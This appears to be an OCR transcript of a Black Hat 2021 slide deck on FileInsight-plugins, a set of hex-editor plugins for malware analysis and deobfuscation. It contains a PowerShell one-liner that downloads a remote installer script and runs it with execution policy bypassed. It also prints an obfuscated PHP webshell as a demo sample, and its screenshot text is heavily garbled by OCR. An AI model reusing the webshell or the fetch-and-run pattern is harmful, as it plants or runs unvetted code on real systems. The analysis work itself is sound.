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About the presenter

Nobutaka Mantani

* Government official
* Assistant director of Cyber Force Center, National Police Agency of Japan

* Experiences in cyber threat intelligence, malware analysis and digital forensics

* Open source software developer
* Member of FreeBSD Project (ports committer) since 2001
* Developer of Filelnsight-plugins

o
* | love open source software! 22
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FileInsight-plugins

* Large set of plugins for McAfee Filelnsight hex editor
° 115 plugins as of July 2021
* Useful for surface analysis and manual deobfuscation in malware analysis
* Development started in 2012
° Private project and developed at home (not a product of the Japanese government)

* GitHub repository: https://github.com/nmantani/Fileinsight-plugins
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Filelnsight

File structure parser (HTML, OLE and PE

Scripting of Python 2 and JavaScript

Extendable with Python plugins!

£ Values [IREETOINY H Colculstor

Sav

5 e P Javascript

]> Pythan_ My Sripts ~

Filelnsight - x8664_hello.exe _ X
° F h ditor devel d by McAfee, LLC Ll
o [Entera URL here -] A
ree hex editor develope cAfee SR : I
y ! = G e [ e [l oor ow Fes CAree
- - Enter your proxy as [Server:Port] here -
File ‘Web
— 28664 hello.exe X
b ﬁlk:"f 4E 0000300
ntry Point VA Ox14E0 00 00 00 00 e
* Useful bullt-in functions
o rdata BA O 00 24 ! 1 iTh
+ pdata 2070 72 6F Flis program canno
o et 062 652072 t be run in DOS
7 bis Witte F 64 €5 2E 0D 0lmode. 5
¢ ddata Write 00 00 64 56 PE d K =]
) e 000 00 FO 00 /
. 00 00 00 ]
5 mports 0 Libraries oo .
000 00 00 00
@ 00 00 00 04 Gf
, 020000000
010 00 00 00
000010 00
80 00 00 6c 07 1
00000 70 02 p
00 00 00 00
000000000
000 00 28 00 (
® B k 0000 00 00
ooKMarks T
00 00 00 00 00 text
7 Navigation @ Decod B o R
00 00 00 00 00 00 < ope
= 2E 64 €1 74 €1 00 0
FR 00 020000 00 22 "
00 00 00 00 40 00 50 c0 @ p .rdata

I = Scripting

https:.//www.mcafee.com/enterprise/en-us/downloads/free-tools/filelnsight.html
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Pre-requisites and plugin architecture

Filelnsight
Python 3 (x64)
About 20 Python 3 modules

Compression libraries

* aPLib and QuickLZ

Filelnsight

Python 2
Interpreter

‘ execute

Core plugin

code

Python 3
Interpreter

—)

Plugin code

) | depending on

Python 3 modules

create execute
External tool | sub-process I

exchange data via pipe

* ExifTool (as metadata parser)
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Installation

* Please execute this one-liner command and clicking “Yes” on UAC dialog a few

times:

powershell -exec bypass -command "IEX((New-Object
Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/nmantani/
Filelnsight-plugins/master/install.ps1'))"

* Filelnsight-plugins and all pre-requisites will be installed
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How to use

* Please click "Operations" in the "Plugins" tab then choose a plugin from the menu

* Plugins can also be used from the right-click menu

k3004 _hello.exe X

T o S 4D 5 90 00 03 00 00 00 04 00 00 00 FF FF
N B8 00 00 00 OO0 OO0 QOO0 0040 00 Q0 00 00 Qo
Compression + Bookmark Copy selected region (the whole file if not selected) to a new file 0o I'_I po0-00-00-00-00 I:| I'_I vo I'_I L_I oo I'_I I__I oo L_I L_I
Crypto L4 Cut binary to clipboard 00 Of 9 10:00 00 00 0O 80 00
Encoding r Copy binary to clipboard OE :: ™ -D 2:1 BE 01 4E CF’ 21
Misc r Paste binary from clipboard 69 7. % 32 6l 6D 20 E*:_:' 61 &E
Parsing 9 Delete before T4 21 . SE 20 69 BE 20 44 4F
Search » Delete after 4]} EH 90 DD 03 DD U‘U DD 504 DD 6]:1 E: I=|£ :|‘_T_'|_ 24 |:| |_'| DD |_'| |_'| DD |_'| |_'|
; Visualization , - B8 0000 0000000000:40000000 5o 4% B 0 4B RS 3D 5D 00 00
s 0000000000 OQOCOOOI00O0O0 QO 0O 00 01 12 0B 02 02 1E 00 1E

. KOR r Invert i L ! 1 1
Q. 00 00 00 OO0 OO OO OO OOi00 OO0 OO0 OO 00 31 Y0 EO0 14 00 00 00 10
»y Checkforupdate | Reverse order OE 1F BA OE 00 B4 09 CD |21 B8 01 4C ~1 SelectAl S
@ Version info e 69 73 20 70 72 6F 67 72 61 6D 20 63 oo (] vi 0100 10 0000 00 02
‘ i -4 [A]  View as Text L - - - - -
- xdata Swap two bytes 74 20 62 65 20 72 75 6E 20 69 6E 20 04 0f p0:05 00 02 00 00 00
i@ .bss Write To upper case 6D 6F 64 65 2E 0D 0D DA:E‘! 00 00 00 00 B[] sSetBookmark 0047 &6 00 00 03 00
s To lower case 50 45 00 00 64 86 09 00 4B A8 3D 5D 00 O » p0:00 10000000 00
By Swap case 00 00 00 00 FO 00 2F 02 0B 02 02 1E 00 O S[25ka-00-80100 00
_____ % Implurtsi}Libraries OUOUODOAED T 00 38 00 00 00 OA OO0 O0:EOQ 14 00 OO oo o1 . P oo oo
000000RO | |00 00 400000000000:!00100000 o0 &0 00 OO0 eC O7 OO OO 00 OO0 OO OO OO OO
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How to use

* Some plugins show setting dialogs after choice

| # Strings — l et
Mode: ASCIl + UTF-16 v § VARA scan - L] X
Minimum length: |8 i| File to be scanned: |19belaedc3babf/d1fcbd9c6d9757d3d009b7dad7136bdf419a45e01 8775477 exe  ~
Post-process: v VARA rule file v
v Decode hex / BASEGS encoded text strings ﬂ
M — ——m————
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Operation categories

° Plugins are categorized into nine operation categories

° Basic ° Encoding * Search
* Compression * Misc * Visualization
° Crypto * Parsing * XOR

#BHUSA @BLACKHATEVENTS 8/98
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Basic operations category

* Enhancements of basic editing functionality
* Copying a selected region as a new file
* Filling with specified hex pattern
° |Inverting bits
* Swapping bytes / nibbles
* Converting to uppercase / lowercase

°* and more
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Compression operations category

* 13 compression algorithms and formats are supported

* aPLib ° LZMA * Raw deflate (*)
* Bzip2 ° LZNTT * XZ

* Deflate (zlib) e LZO e Zstandard

* Gzip * PPMd

° LZ4 ° QuickLZ

* Deflate without zlib header and footer (equivalent to gzdeflate() in PHP language)
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Crypto operations category

* Ten crypto algorithms are supported

* AES * ChaCha20 * Triple DES
* ARC2 (Alleged RC2) * DES * XTEA
* ARC4 (Alleged RC4) * Salsa20
?AESdecrypt — ] X
e Blowflsh ° TEA Mode: CBC | Keylength: |128 bits (16 bytes) v
Key type: |Text | Key: |
* Five block cipher modes of operation are supported | vype [lea ] w
* ECB, CBC, CFB, OFB, and CTR 2
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Encoding operations category

* Supported data formats
* Hex, decimal, octal, and binary text <-> binary data

* BASE16, BASE32, BASES8, BASE64, and BASE85 with custom table

* Protobuf (decode only)

# Custom basefd decode — O >

Enter basefid table: | ABCDEFGHIKLMNOPQRSTUVWXYZabedefghijkimnopgrstuvweyz0123436789+ /< OK |

° Quoted printable

* ROT13 (with variable shift amount)
* Unicode escape (formats of JavaScript, C, Python, PHP, PowerShell, and so on)

* URL encode
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Misc operations category

* Code emulation (explained in the next page)

x86_hello.exe =

Oooooooon AD 5z 90 00

* File comparison B8 00 00 00
o | o DeecthEsy ) 1

* Bookmarking diffs and computing ssdeep similarity score PE-bear  OF
pe-tree b 70

. DA Free P &5

* Calculating hash values Cutter 4 65
Relyze Desktop Il 00

1 . VS Code 0 00

° MDY5, SHAT, SHA256, ssdeep, imphash, and impfuzzy S Paint 00

Excel ) 00

. . . o ) 00

* Opening / processing data with external GUI / CUI tools orachs 00

: 00
Customize menu ) OC
) L[

|DD &0 00 00

#BHUSA @BLACKHATEVENTS 13 /98
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“Emulate code” plugin

* Simple GUI front end of Qiling Framework (https://qiling.io/)

* Emulation of executable file and shellcode
* Tracing APIs and system calls

* Showing memory dumps with bookmarks
* Suitable for analyzing self-modifying shellcodes

* Supported OS and CPU architecture
* Windows (x64 and x86)
* Linux (x64, x86, ARM, ARM64, and MIPS)

Memory dump 0F X

Emulation trace™ X

[+] 0x10727020:
[+] Syscalls called:
[+] LoadLibraryh:

66 6C 41 57 4E 55 50 72
53 75 6B SF 6F 4D 36 36
70 &9 69 58 59 44 55 6A
73 31 75 58 4F 6D 62 58
38 6E 38 43 6F 31 64 4E
SA 77 4B 42 6B 66 58 68
89 SF Cé FF D5 89 C6 53
57 53 56 68 EB 55 2E 3B
330000 89E06A 04 50
FF D5 53 53 53 53 56 &8
7514 68 88 13 00 00 &8
CDES 45 00 00 00 6A 40
40 00 53 68 58 A4 53 ES
68 00 20 00 00 53 56 &8

57 6C 61 41 4D 57 43 54
SASA 42 44 62 4A 73 79
67 34 30 44 50 31 3378
52 51 44 62 59 6C 72 2D
35 32 72 6F 4D 31 4B 42
30 36 31 38 00 50 &8 57
&8 00 32 E8 84 53 53 53
FF D5 96 6A OA 5F &8 80
6A 1F 56 68 75 46 9E 86
2D 0é 18 7B FF D5 85 CO
44 70 35 EO FF D5 4F 75
68 00 10 00 00 &8 00 0O
FF D5 93 53 53 89 ET7 57
12 96 89 E2 FF D5 85 CO
75 E5 58 C3 5F EB 6B FF

74 CF 8B 07 01 C3 85 CO
FF FF 31 30 2E 30 2E 30

°FE 31:00 BB FO BS AZ 56

6A 00 53 FF D5 AF 895 00
00 00 00 00 00 00 00 00
00 OO 00 00 00 00 00 00
00 00 00 00 00 00 00 00

[+] Registries accessed:
[+] Strings:

00 OO0 Q0 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 OO0 OC 00 00 OO0
00 00 Q0 00 Q0 00 00 o0

fl1AWNUPrWlaAMWCT
Suk_oME&eZZBDbJsy
pPiiX¥YDUJjg40DP13x
sluXOombXzZQ0Db¥Ylr-
Bn8ColdNS52roM1EB
ZWEBkfXh0618 PhW

Sh 2 558

WSVh U.; j _h

3 i Pj VhuF
S85SVh- {

u h hD 5 ou
E j@h h

@ ShX S S5 W

h SVh

=

j s

IP address 10.0.0.1 is

InternsetConnecth (hInternst =

deobfuscated

[+] {"params": {"lpLibFileName": "wininet"}, "retval": 272752/40, "addr:
[+] InternetOpeni:

[+] {"params": {"lpszZgent": "Mozilla/5.0 (Windows NT &.1% ent/7.0;
[+] InternetConnectl:

[+1 {"params": {"hInternet": 275506496, "lpszServerName": "10.0.0.1“|, ™
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Parsing operations category

* Finding and bookmarking embedded files with binwalk
(https://github.com/ReFirmLabs/binwalk)

* Code disassembly with Capstone Engine (https://www.capstone-engine.org/)

* x64, x86, ARM, ARM64, MIPS, PowerPC, PowerPC64, and SPARC

* File type detection with python-magic (https://github.com/ahupp/python-magic)

* Parsing file structure (explained in the next page)

* Showing metadata with ExifTool (https://exiftool.org/)

* Strings with auto hex / BASE64 string decode
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“Parse file structure” plugin

* Attributes will be shown and bookmarked

hing-26b04ea%96b... >

0201 0100 000000 0000000000
0200 01000000 E0 05 40 00 00 00 00 00;

40 00 00 00 00 00 00 00
00 00 00 0040 00 38 00
04 00 00 00
40 00 40 00 00 00 00 00
F8 01 00 00 00 00 00 00
08 00 00 00 00 00 00 00 04 00 00 00

380240000000 0000
1Cc 00 00 00 OO OO OO OO0
01 00 0000 0O 00 0000

* File parser Python modules are generated

with Kaitai Struct (https://kaitai.io/)

Bookmark

0x18 header.entry_point

* Supported file formats

(A6
D0x6 el_verdion £ogd.. ~
. C %7 abi B
° Gzip, RAR, ZIP ELF, Mach-O | “teae s | [Fomed IS
I I I I/ 0% Dadﬂﬂ}ﬁh 0x0 - 0=3: rn?.glc = ?f454-::46 (hex) A
S0x10 header.e WDB f B Oxd4 — 0=x4: bltsl'» - Blts.}?64: 2 (0x2)
=" Ox5 — 0x5: endian -> Endian.le: 1 (0x1)
° °y.° bl D0x1Z header.mat:hlnle >4 0x6 - 0x6: ei version —-> 1 (0xl)
PE, I\/I BR pa rtltlon ta e C0x14 hBﬁdBl’.B_\-’BI’SIDDDﬁi}E 0x7 - 0x7: abi —-> OsAbi.system v: 0 (0x0)
10x18 header.entry paint 4 0x8 - 0x8: abi version -> 0 (0x0)
D0x20 header.program_h... 029 — 0xf: pad -> 00000000000000 (hex)
° e heacer.section. e On12 - OX13: header maehine > Machine Xet. 64 62 (0xder
BI\API GIFl JPEGI PNG DUXSU header, flags Oxl14 - 0Oxl17: header.e_version -> 1 (0x1) -
AP ook IR | O:li T n neaderentropeine - 41930n (onosnen)

* Windows shortcut
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Search operations category

* Searching, replacing, and extracting with Pyt

* Bookmarking search hits

* Searching XORed and bit-rotated data

* Search keyword can be specified

with text or hex

* Scanning with YARA rule

* Bookmarking matched strings

<

FancyBearZekapab.bin

FFFEFFFEF 1C 00 00 00

non regular expression

3646 37 32 36 34 32 45

3737363936453737 i
36 3537 38 36 35 32 306

[ zebrocyyar ~ [ s

rule apt28 zebrocy {

~

strings:
$sl = "2C20467265653A20" fullword // ", Free: "
$s2 = "2C20546F74616C3RA20" fullword // ", Total:"
$s3 = "2E646F6378" fullword // ".docx"
$s4 = "3F686¢45FcEE1eDE53D" fullword // "?id name="
S35 = "436572746%6669636174655265766F63617460%6F6E" fullw
Ss6 = "456ET465722070€173T73TT6FT726420746F206FT0656E20666
537 = "4D68963726FT736F667420576F7264" fullword // "Micros
538 = "50617373776F7264" fullword // "Password"
539 = "6174746163683D" fullword // "attach=" i

3246 364500000000
3444 363936333732
3734 323035373646
FF FF FF FE 10 00 00 00
3737364637323634
36 00 00 00 34 35 36 45
37303631 37333733
32303734 36463230
32303636 36393643
08 00 00 00 32 45 32 45

FFFEFFFF1C 0000 00 |iZFGE

364637 3336463636/

3732363400000000
353036313733 3733
00000000 FFFFFFFEF
3734363537 32 3230
3737364637 32 36 34
3646 37 30 36 35 36 45
3635 0000 FF FF FF FF
32 45 354300000000
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Visualization operations category

? _ D >< 3500

. . EETTIT A 3000 -

° Bitmap view T
8 1500

Byte histogram

1000

* Byte histogram

500 -

=

* Entropy graph

B_
:|‘_
E,_
5_
-
=N
g a4
L w £
[ ox00 R E t h
B A5C1 control 7 - py g p
B ASCl printable 14
W Non-A5C1 (> = 0eB0) .
T
OffsettlxBces | | & & &6 & 2 o o o o o 8 o o o 5 o o o o o o
& 8 8 2 8 B8 8 8 3 8 8 8 8 8 8 8 38 8 & & &8
Value: Duch T2 £ 2 E OS2 5 X 0358 88 8 8 8 58
& & 3 E X E 3 2 & 2 2 5 5 5 3 & &5 &
Dffset

Bitmap view
#BHUSA @BLACKHATEVENTS 18 / 98



0

black hat

USA 2021

XOR operations category

* Guessing multibyte XOR keys based on revealed keys that are XORed with 0x00
* Rolling XOR (incrementing / decrementing XOR key)

* Null-preserving XOR Outp

ElE)
. Top ten X¥OR keys guessed from the whole file are as follows.
* XOR with b ' ' L.
\A/It r]GE)(t )/tee Please select the whole file and use these XOR keys 1in the Decode tab to decode the file

HOR key: Oxe3elZeleldfdedddcdbdad9d8d7d6d5d4d3d2dldlcfcecdeccheac9clciocécScdc3cleleclbibebdbebbba

256 bytes pattern cccurrence count: 33
Win32 DLL found at offset 0x2233 size 33280 bytes.

¢ Visual encrypt / decrypt OLEZ Compound Document header found at offset 0x1823b.

2Added bookmarks to the search hits.

(used by Zeus malware)

#BHUSA @BLACKHATEVENTS 19 /98



0

black hat

USA 2021




0

black hat

USA 2021

Demo 1

* Deobfuscation of PHP webshell

* Plugins used in this demo
* Encoding -> Custom base64 decode
° Encoding -> ROT13
* Compression -> Raw inflate
* Basic -> Copy to new file
* Misc -> Send to (CLI)
* Misc -> Send to (GUI)

#BHUSA @BLACKHATEVENTS 21/ 98



U |= Filelnsight - fble2a%9cta%a5bd081a7e281f075e8f2225d3f51 daeedf454b3698133cc56.php — W

Edit Search Plugins Windows Help

S 23 * Enter a URL here |

A £ McAfee
Use Internet Explorer Proxy = c ee

MNew Open Close Save View View as Get

- as Hex  Text Enter your proxy as [Server:Port] here o

Nawvigation fble2a%9chalaibd081a7e281f07... X 1b - %

X supported for HTML, OLE2, PE and Fiash. <?php eval (gzinflate (str rotl3(basefd decode ('5X17k5r¥1vifzfkE38HTz0doRZIWANLZNDEJe TyBoNItCAgepXcTZCL]ICIpdSqf3fegRREnXindvokgisk+7L2Th303Ruxl+vV+v3ajknrxA0Xz4n/ A
nz//nP3//2w8aN3cRcpW758a%egoNMPME rAVNROKAFCYkrD2ezu/ fBInF3 5G9 1 pwtHRemd4wl0bi TLO0ksFIDCHLIOOKK ewlaonD 7 ftwwSQOvbYvweorHRAEqoXaz f2wFu2dD2X2Hov1EAmdfodvigotn¥+wXsGz 51/ 0eH:
secucpTWhxr9/CiM4AegOYwi1APT2X5W18Y,/ TzvoivgBE8EhdEe 81 3DYNcEi0MIrezTglGoLlv+sytg/nethzfEzbWEMpYZhVe/di dwnme+vE3gMeud+gimehuwlaS6JdRryvot+icegqpiwe smoNOVESieVFRUYLfwwZccoE4E
envwp EhBkEmAuVrlg7DoJ4sSewarP3NDse8J3J4BoDwb L] xHg8PbTg3/akyYCEfvRdhYnTX /355 9crUWsd+heHxMmUi hTul ¥TC2mOXHUzHME4 LerwiaXxBl1V3H+g+GuzZeGr5teGrrbl 3bE8TJROav4DvVpO1lb ) ENWQT:
B2G4+bEBSH4L1rTrcHg3chBYEJI1Lg)G2384GELEACEIixi+/00]VCnx88sDghs/EWTxEcMkbQIS fnbEPT IMaegFLgfpe TEId+sMOBDREaVV 1 Zz9aXSr+4Mvadf4CLT0aA%%urdEovTrzv40IgIsEXnz]1 /bPXEcOalbT 21
75fYpu/PrxrmPsONBNgFTaiDCZ4 THoyME6uwRia6R+jeD+nbOEyvo0j8DN3 /8 frvNUkSfOosf6T51h/jWE59VZ3B6T+kEearL6FkBA7/ 1ESwvS6vn5vi®98/cg5 1 fWySZ5LEsnhg2Tpl1BMhl 2gfvkBt26JgHYg+u3j 300
viuZS3B0ThEjHOSHC]+vn+7k7780ivatf/PELUBgHRIYLUQL xVEyed 3UKWnugV5dV10HCc+sA0T1FZ23GrTr22s Zr0PrB et kXMuywS LaukDSgMESSCoiI3mirOr InGREKORE1lgrez3PuXUS2I2viInl JiskjOESoZ+mEVE
UnKEeSuucivUged+McPmI&qQlY0Z/ oPvoHdD/ I34mLEFViu/w3tY¥yOMw2CledBXo9vledTg2dkuVhCSLTgBt 91682 JCRhLzS I ZPgy3sVYUKIAASC OmE/ 2 YEX SM4ui +mpnbHZCOBWCSChwP ) 1adBmgaNg382/1trVAY Tt
G3GTHSS51xhNLITMSAZ48/atMLYPYVEGHzENa] Yopox31 QT 5Xa0nNms JAH3MbgECMb 2 kwBnbMSbn ZDrUBKzMWAd2GJMkGEZ520Gal Txbg ZvzHOIFG0C X ss 1 GG2pN+VHNY S Fe DS kxzA0GC2k3czho T3M3TnHEZgachufall
BfgcpaMQZS+taQifgxl jpOpx0Xet+5TNIDccIMVLIPOHMRXedFSESNftkIMV,/DNHLAfmANWVO+Chzzi jXyuarwETIPjOmHGkiu3T7 0px2o02c0Z] rImwgvgCeudkwGILtTMZ550/ 2ZKFmeMMEvA/ Loudxi fh25p02y3C5e
IZS90RPAPzda9ZPZVEZPrHOT36)RenGeaTOSDTIOTEL JutboeabY TvGdOSwmYVmM MO+ DPzeTfpbNF1V4Av40bDS55PkLulJaMARBZ 0r0koE3wing JGOdDFRBoebECSV3pxrwVent VI ThfAZr ZgXHEGIEIE1 LeRKpEEVALS
+hTW2Ue3XsVYNoWT1BinVEIXgmOwlhE /1 PY1 LT3 zXFilgFssgNizzCGAU=ay 397X Xegs1BUHDIuOlHSnR5 ] 1 r 3PARSC4 ENdnEcmgy M2 bLGhYrPe0rWIQs4 r eM78El1b+yyi BmMeocEXnWESuSmyzBZxVecE6 03 TBTVEZY
ripyWm2iedquéBPYE+obXS1a0/ 6t GCBprSDRNYNXLLAbnnXRUAxGSBERICHNTCTWSsDVEN45Y24nrbsxmDIS1 PYRo+caEaHeMyN 9558 8aMzr IVmmRr FPHI4NWLENTMELN+ 1 1hSpmILWScta00Il JenWW 7] SoH0r5Ji P01 jha
NijYXT/HfDbBtxzE/HyvDOpPRBRSSUBX6k0a0TJG+zGTFWX SugBaf4wKPE88815C7G+nhlirc0%hoPSc2dIRsZCalkNZZqu2 JBgQLtEC+NS5026DobsVkT7dIc8bobCxmDalinrOPtoea 3 IGPONE 2e00x07 PYMEtpggL5xX 202
3ccBs)pyrdNHkfGCebN4vvla3z8xh5vhWooy]l fnFtgé0eQjeOMb I8 ] JYBENJE2Jz TxGtncdnt0hXaZrRbcEKANE38EeFD4+x083M0T14+5CaaCXpzgyAS524Nwl/gecLPCESNIELAMOY TDr JMBr¥1 5hTévh8nTmYgfo DNz
royUDWIE+FCzYpShiE07IdpvlHEgdVEsG3CsaEJggdEncroskTp+NadWvIJiNGUTYtvgM4+ErYBnm/ Jta070ITEVEs/VpuFSvsgY TR+ TXpuy6VSZ 7eRR4KwadRsT2uoz Irvihei 04TdgESGE I Z5NMOY 0T SAULBxUE
5zHeSf3gA2VvCRRExfCt1Ar+63knef80dabig7BABSulTFMGAePEWSF4S5Tkm,/ peS+po]j JalgC/ Za4dZ2dVpYSuce+rmtIBVOL8/ cgMxTTAPawncFlOXDve IOy To2mWezbICyGVE+5XEbo 9Xp SvgEt £t P5dY6TPWUMSPs5r
t+aC4Tho+y20HZDXvWHh,/ 10ThaFoBOsPUrar+2wASTUISHIYZPGCyx1YHSzsh9ToTsyGvvy e EdUvmEVY3gfjCp8I3an8ryml B8 5x5r¥o 6/ nYOvvEBLirNE2NGaCY TwH/ IWnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1 T4y
g8LHEtdulGsIS5Be22taYhuTk+15BaXI1lbple5jmTwBl0kE/ Jfumi7jCexedb2736gC+]Y0w2 fgS5pP68azbbigxeEic/35xpD3]+35UgzVimgne+PIyo fhuHOLAxr IKyrZgnwi i+ FEF20zPWCLapCPecocFEhEEUe 30u]
8ap2R00b/wVnRnlkPoyARbwPheeYrPXcLIU4EZtBMArSeIfLUSKXUCUtgNfHECE TRy 7 fHdZbgPs2dTaSD0z5EPh] DENY Jwe fOMx Uy 1 YWMWENALNNS 1 fevREMEND TpQo9yn/MxbcBzz 1HWFrB/uCebns /180y /UDT z+F
sPOQfEdpZiiF3I27RVSASHHU,/OEwwWWE z5b 4 yPwyeXMVo2ZWEz1 LgmBi IMTDZB+7XG5+sz2noyutdQ74h5 ) IxTGW3MaxFeQhC8 JvFeiWTFk TNpoW2RtU2104 11 SvyTO0GH=sa0ON+4RvyRePAB0x5gFD/120eIxxS mr+Ap]
BSUSBETEGELfCPOXRITH0CKEG] g/ w30UQXCPUugF+R11HouZ 6Tl inwY4usSYHOJ1FSkgTekK2VyISfHEhRDACPi TcFc6YXTSEXngR2D6 vl / wBX POLXMYMAMYvx 7 10MaalcD3I0O0FYFOSOMO TmEFP1714g2I9NISvEkypdve
zzPOkhHV3JEryITMOCp4hpGmWlShTiRATOkdyMivdeyCE/ TIgOWEJAEBmys+¥1lejoH+3P2Id20Tgv4vAMSERYFignF /wyLr 31 VHgrOERYW3gZ JEMcGyFefOgT 03 ¥ xmyNvpabVegSuveX 07 1VUafETRugd60BpvL 001k

BRI IWRTNY B Structures [§] Decode ho3cBhJgAbHZBIQCkZrOfNC Sh9bTY JTxmmNpkbkUjTRtbgY¥E IhSNKSE1D e+ TkHue SUSGEW3p]1E2ZFb3 91 hwDnyAEBHED1I4ts8Tn2BEe3PXxTWE0gaNdzESGngOus lUpz¥U21hec¥Yj2C 1/ SmicMLZml1 TOMHE+ 9YMEY /] 2¢

yFiX1/EbviazgUE3roUirITpSgf2h50glLBsUiLRLAKEhtgsdS/ rHIXE+0udNkoy+Ts5CacenkH32x6DI LvaJF6]25LecHgGTPrMeqovelfR/TiS/ 2fkdm2 /McSBRRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENgFD1UE

rbS87Fui/Z2+48+1LYFE4AmBf 1 +kSmATwmi ] fHD20dH4R3k+NNJhJIXDGEIaxu5,/U4f4PsyD2gtecgelE+fvY+abDQviBaKEULL1 IJZy4 LMWGZFFsWyzaXYFnk2gXLEmfx0/VhbiGs0aWus4MWbjB2CraHauQY+Tecu7LuRWE

ZFIVOYKEALFPiIRVNt TURELYWVrPV,/ DuymxR,/ 1 JCTgMtKoe 6054 Y3gIPUom386/ L0 60X TpOqx0250x2RITI ImHO9PpLETyLvDSDSUz TTzr SVY39eV+6bIKJous /McdAtcRY5aJZ2gVdISGMM/ 0z007cC0] Tkgg6ScIVUC
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> Operatior  Basic » m
Compression » f
3

Crypto
Hex text to binary data

Plugins
Misc L4 Encode Decimal text to binary data
e Parsing » Octal text to binary data
X supported . v Binary text to binary data iIflate (str_rotl3(baseé4 decode('5X17k5rY1vEfz6kE38HTz0doRAIWANLZNDPJe TyBoNItCAgzpIXcTZCL]ICIpa5gf 9fegREtnXindvOokgisE+TL2ThbS03Ruxl+vViv3ajknrxA0¥z4n/ A

Visualization r Custom basel16 decode cRcpW75a9sgoNMEPMX rAVNROKAFCYkrDZ2ezu/ fEINF39GS 1pw+XRemdwlObi 7LO0ksFIDcHL100OKK ewlaonD7 ftwwSOvbY¥vweorHRAEqoXazf2wFu2dD2X2Hov1 BamdfodvtgotnX+wisGz51/0OeHz

XOR » Custom base32 decode MAgOYwE1APTZX5W1B8X/ TzvSvgBEKhdee8l13DYNCcE10MIrezTglCoLvtsytg/nethz fEzbBWeMpY ZhVe/didwnme+vF3gMeu3+gimehuwlaSeJdRryo+AcegqpiwesmoNOVE1eVFRUYLEfwwZccoE4E

Check for update Custom base58 decode 1gq7DoJd4sSewarP3NDsedJ3J4BoDwbLl ] xHg8PbTq3 /akyYCfvRdh¥nTX /355 9crUWsd+heHxMmUi hTulXTC2mOXHUzHEME4 Lsrwl aXxB1V3H+gtGuzZeGr5teGrrbl 3b8TJROav4DvVp01b] 6NWOT 2

Version info CHg3chBXEJ: i Trim?AQ4FTRACTE Y vi L /0N ny 8 8eDghs / EWT®8cMkbOJ 9 fnbEPT IMegFLgfpe TEId+sMOBDREavV1z9aXSr+4+Mvadf4CL70aA95urdEovTrev4A0JgIsEXnz1l /bPEEcOeOb7 zW]
Custom base85 decode BNGFTaipcz DEcods selected region with custom basebdtable g s /8 £ yNUKOFOS F6T51h/ WS 59VZ3B6T+k6eaArL6FkBAT/1R5wvS6vn5vigo8s/cg51 fWySESLEsnhg2TplBMh] AqfvkBt 2 6JgHYq+u3 300
Protebuf decode HCj+yn+7k77S8ciyatf/PEbUBgHhIYLUQOtxVXye4 3UKRnugVSdV10Hc+sAQJ1F23GrTr22sZ2r0PrB6t kXMuywSLauKDSgMESSC91I3mir0r InGKRKORE1lgrecz3PuXUS52I2viIml JiskjOESoZ+mEVE
From quoted printable McPmI6gQlYO0Z/oPvoHdD/ I34mLXFViu/w3tYyOMw2C1lsd8Xo9vHeSTg2dkuvhCSL7gBt91GE8xICRhL2zSIZPgqy3sVYURIAdSCOME/ zYEX 9M4ui +tmpnbHZCOBWCSChwP]j 1adBmgaNg382/1trVAyTt
Unicode unescape S52z+4+B/atMLYPYVEGHzHNa] Yopcx31sQTI5XaonNms jAH3MbgECMb2 kwBnbMSbnZDrUBKzMWd2GJMkGEZ520Gal TXxbgZyvzHWOIFGOCEXss1GG2pN+VHNY 9 FeDS kxzA0G2k3czho 7T3M3TnHZgachufall
URL decode B8gxljpOpx0Xet+5TNIDccIMVLIPOHMRXedFSENftkIMV,/DNHLAfmANWjVO+Chzzi jXyuarw6TIPjOmHGkiu37 0px202c0Zj rIimwgvgCeudkwGILt TMZ550/ 2ZKRFmeMMEyA/ Loudxi fh25p02y3C5e

zda ZVEZPrHOT367RenGeeTOSDTI0TRA JutboeabY JvGdOSwmY VmMEIMO+DPzeTfpbNF1V4v40bDS55PkLuQJaMAREZ 0 rQkoE3wing JGOdDFECcebECSV3pErwVemt V7 ThEfAZ r ZgXHGGLIKiE 1 LeKpEEVATLE

+hTW2Ue3XsVYNoW71BinVEIXgmOwlhB/i1PY1 LT3 zXFgFssgNizzCGAUeay3g7XXecgs1BUHDIu0OlHSnR5 ] 1 r 3PARSG4ENdnEcmgy IM2bLGhXrPe0rWIQs4 r M7 8E1b4 yyi BmMeoc6XnWESuSmyzBZxVec603TBTVEZY

ripyWm2iedquéBPYE+obXS1a0/ 6tGBprSDRNYNXLLAbnnXRUdxGSBEICNTCTWSSsDVEN45Y24nrbsxmDJIS]1 PYRo+caEaHcMyN 958 8aMzr IVmmRr FPHI4+NWLENTMELN+ 11 hS5pmILWS5cta00I J6nWW 7] SoHO0r5Ji P01 jhe
NjYXT/HfDbBtxzE/HyvDOpPRBRSSuBX6k0a0TJG+zGTFWX SugBaf4wKPE8S815C7G+nhlirc09hoPSc2dIRsZCalkNZZqu2 JBgQtEC+N502 6DobsVkT7dIc8bobCxmDalinrOPtoea 3 IGPONE Z2e00x07 PYMtpggL5xX 202
3ccBspyrdNHkfGCebN4vwv1la3z8xh5vhWQoyl fnFtgé60eQjeOMbI8] JYBENJE2Jz TxGtncdnt0hXaZrRbcERENS38EeFD4+x083M0TI14+9CaaCXpzgyAS524Nwd/gecLPCSNISL2MOY 7DrJMBrX1 5hT6vh8nTmYgfoDN =
royUDWIE+FCzYpShiEQT7IdpvlHSgdVSsG3CsaEJggdEncroSkTp+NadWvIJiXGUX T YtvgM+ErYBnm/ jta070ITEVEs/VpuFSvsgY 1RJ+TXpuy6VSZ 1eRR4KwadRsT2uoz Irvihei 04TdgESGE I Z5NMOY 0T SdUbLBxUE
5zHeSf3gA2VVCRKExfCt1Ar+63knef80dabig7BABSulTFmGAePEWSF45Tkm/ pcS+po]jJalgC/ ZAdZdVpYSuce+rmtIBVOE8/ cgMrTTAPawncFl0XDve IOy To2mWezbICyGVEb+5XEbo 9XpSvgEt ftP5dY6TPWUmMSPs5r

t+aC4Tbhbc+y20H2DXvWHh/ 10ThaFoBOsPUrar+2wA9TUISHIYZPGCYyx1YHSzsbh9ToTsyGvvyeKdUvmEVY3qfjCp8I3an8r¥mlB85x5rXo6/ nYOvvEBirNK2NGaCY TwH/ IWNnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1T4ry

